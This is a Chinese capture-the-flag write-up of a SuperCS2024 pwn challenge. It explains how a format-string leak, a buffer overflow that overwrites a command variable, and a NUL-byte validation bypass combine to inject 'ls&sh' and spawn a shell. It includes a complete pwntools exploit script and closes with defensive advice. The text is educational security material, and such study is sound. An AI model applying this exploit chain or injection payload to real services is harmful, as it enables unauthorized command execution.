记SuperCS2024Pwn方向一次有意思的getshell
字数 1347 2025-08-22 12:22:37

SuperCS2024 Pwn方向:利用格式化字符串和堆溢出漏洞getshell分析

漏洞概述

本文分析的是一个结合了格式化字符串漏洞和堆溢出漏洞的二进制程序,通过精心构造的利用链最终实现getshell的过程。该挑战来自SuperCS2024 Pwn方向,涉及以下关键漏洞和技术:

  1. 格式化字符串漏洞用于泄露关键数据
  2. 堆溢出漏洞覆盖关键变量
  3. 输入验证绕过技术
  4. 命令注入技术

程序分析

主要功能

程序是一个"中等汽车驾驶助手",提供命令执行功能。主要流程包括:

  1. 接收用户输入命令
  2. 执行命令前进行验证
  3. 维护一个命令队列(commandlist)
  4. 通过popen执行合法命令

关键漏洞点

  1. 格式化字符串漏洞:程序在处理某些输入时存在格式化字符串漏洞,可以用于泄露内存数据
  2. 堆溢出漏洞:在命令处理过程中存在缓冲区溢出,可以覆盖关键变量
  3. 输入验证绕过:验证逻辑存在缺陷,可通过特殊构造绕过

漏洞利用详细分析

第一阶段:绕过初始加密检查

程序有一个初始的加密检查机制,通过input_times变量控制:

if (input_times > 2) {
    // 绕过加密检查
}

绕过方法:

  • 连续发送两次ls命令使input_times增加到2以上
  • 这样后续操作就不受加密检查限制

第二阶段:利用格式化字符串泄露随机数

发现存在格式化字符串漏洞,可以使用%8$s泄露rand值:

p.sendline('%8$s')
num = p.recv(10)  # 注意需要接收10字节,因为堆上数据可能包含\x00

关键点:

  • 使用%8$s从特定位置泄露数据
  • 必须使用p.recv(10)而非默认接收,因为堆上数据可能包含NULL字节
  • strcmp遇到\x00会停止比较,所以需要接收完整数据

第三阶段:堆溢出覆盖关键变量

发现buf存在长度溢出,可以覆盖s1变量:

s1[k] = buf[k];  // 根据读入的len进行赋值

利用方法:

  • 构造特殊输入覆盖s1为恶意命令
  • 同时需要绕过后续的验证检查

第四阶段:绕过输入验证

程序会对输入进行验证:

j < strlen((const char *)(6 * (i - v4) + a1));  // 根据v6的长度进行每个字节比较

绕过技巧:

  • 构造v6ls\x00,而s1ls&sh\x00
  • 由于验证基于v6的长度(ls\x00长度为2),而实际执行的是s1的内容(ls&sh)
  • 这样既能通过验证,又能注入恶意命令

第五阶段:命令注入

最终通过将ls&sh注入到commandlist中,当程序执行该命令时:

  • 执行ls命令(合法部分)
  • 同时执行sh命令(注入部分),获得shell

完整利用代码(EXP)

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

# p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *0x4013D2')
p = remote('192.168.18.22', 9999)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])

elf = ELF("/home/zp9080/PWN/pwn")
libc = elf.libc

def dbg():
    gdb.attach(p, 'b *$rebase(0x1B8F)')
    pause()

# 第一阶段:绕过加密检查
p.recvuntil(" \n Commands: ")
p.sendline('ls')  # 第一次ls
p.recvuntil('Executing: ')
p.sendline('ls')  # 第二次ls,使input_times>2

# 第二阶段:利用格式化字符串泄露随机数
p.recvuntil('Executing: ')
p.sendline('%8$s')
p.recvuntil('Executing: ')
num = p.recv(10)  # 关键:接收10字节
print('num:', num)

# 发送泄露的随机数
p.sendline(num)

# 第三阶段:堆溢出覆盖s1变量
p.sendline('queue \x00 clear \x00 exit \x00\x00 ls&sh')

# 第四阶段:触发命令执行
p.sendline('ls&sh')

# 获得交互式shell
p.interactive()

关键技巧总结

  1. 格式化字符串利用

    • 精确定位%8$s泄露关键数据
    • 正确处理包含NULL字节的内存数据
  2. 堆溢出利用

    • 精确控制溢出长度和内容
    • 覆盖关键变量同时保持程序稳定性
  3. 验证绕过

    • 利用NULL字节截断特性
    • 构造差异化的验证内容和实际执行内容
  4. 命令注入

    • 使用&符号实现命令拼接
    • 将恶意命令注入到合法命令队列中

防御建议

  1. 避免使用不安全的格式化字符串函数
  2. 对所有用户输入进行严格边界检查
  3. 实现更严格的命令白名单机制
  4. 使用更安全的字符串比较函数
  5. 启用堆栈保护机制(如Canary, ASLR等)

总结

这个挑战展示了如何结合多种漏洞实现完整的利用链,从信息泄露到最终getshell。关键在于理解程序逻辑、发现漏洞间的关联性,并精心构造利用数据绕过各种保护机制。这种多阶段、多漏洞组合的利用方式在实际CTF比赛和真实世界漏洞利用中都很常见。

SuperCS2024 Pwn方向:利用格式化字符串和堆溢出漏洞getshell分析 漏洞概述 本文分析的是一个结合了格式化字符串漏洞和堆溢出漏洞的二进制程序,通过精心构造的利用链最终实现getshell的过程。该挑战来自SuperCS2024 Pwn方向,涉及以下关键漏洞和技术: 格式化字符串漏洞用于泄露关键数据 堆溢出漏洞覆盖关键变量 输入验证绕过技术 命令注入技术 程序分析 主要功能 程序是一个"中等汽车驾驶助手",提供命令执行功能。主要流程包括: 接收用户输入命令 执行命令前进行验证 维护一个命令队列(commandlist) 通过popen执行合法命令 关键漏洞点 格式化字符串漏洞 :程序在处理某些输入时存在格式化字符串漏洞,可以用于泄露内存数据 堆溢出漏洞 :在命令处理过程中存在缓冲区溢出,可以覆盖关键变量 输入验证绕过 :验证逻辑存在缺陷,可通过特殊构造绕过 漏洞利用详细分析 第一阶段:绕过初始加密检查 程序有一个初始的加密检查机制,通过 input_times 变量控制: 绕过方法: 连续发送两次 ls 命令使 input_times 增加到2以上 这样后续操作就不受加密检查限制 第二阶段:利用格式化字符串泄露随机数 发现存在格式化字符串漏洞,可以使用 %8$s 泄露 rand 值: 关键点: 使用 %8$s 从特定位置泄露数据 必须使用 p.recv(10) 而非默认接收,因为堆上数据可能包含NULL字节 strcmp 遇到 \x00 会停止比较,所以需要接收完整数据 第三阶段:堆溢出覆盖关键变量 发现 buf 存在长度溢出,可以覆盖 s1 变量: 利用方法: 构造特殊输入覆盖 s1 为恶意命令 同时需要绕过后续的验证检查 第四阶段:绕过输入验证 程序会对输入进行验证: 绕过技巧: 构造 v6 为 ls\x00 ,而 s1 为 ls&sh\x00 由于验证基于 v6 的长度( ls\x00 长度为2),而实际执行的是 s1 的内容( ls&sh ) 这样既能通过验证,又能注入恶意命令 第五阶段:命令注入 最终通过将 ls&sh 注入到 commandlist 中,当程序执行该命令时: 执行 ls 命令(合法部分) 同时执行 sh 命令(注入部分),获得shell 完整利用代码(EXP) 关键技巧总结 格式化字符串利用 : 精确定位 %8$s 泄露关键数据 正确处理包含NULL字节的内存数据 堆溢出利用 : 精确控制溢出长度和内容 覆盖关键变量同时保持程序稳定性 验证绕过 : 利用NULL字节截断特性 构造差异化的验证内容和实际执行内容 命令注入 : 使用 & 符号实现命令拼接 将恶意命令注入到合法命令队列中 防御建议 避免使用不安全的格式化字符串函数 对所有用户输入进行严格边界检查 实现更严格的命令白名单机制 使用更安全的字符串比较函数 启用堆栈保护机制(如Canary, ASLR等) 总结 这个挑战展示了如何结合多种漏洞实现完整的利用链,从信息泄露到最终getshell。关键在于理解程序逻辑、发现漏洞间的关联性,并精心构造利用数据绕过各种保护机制。这种多阶段、多漏洞组合的利用方式在实际CTF比赛和真实世界漏洞利用中都很常见。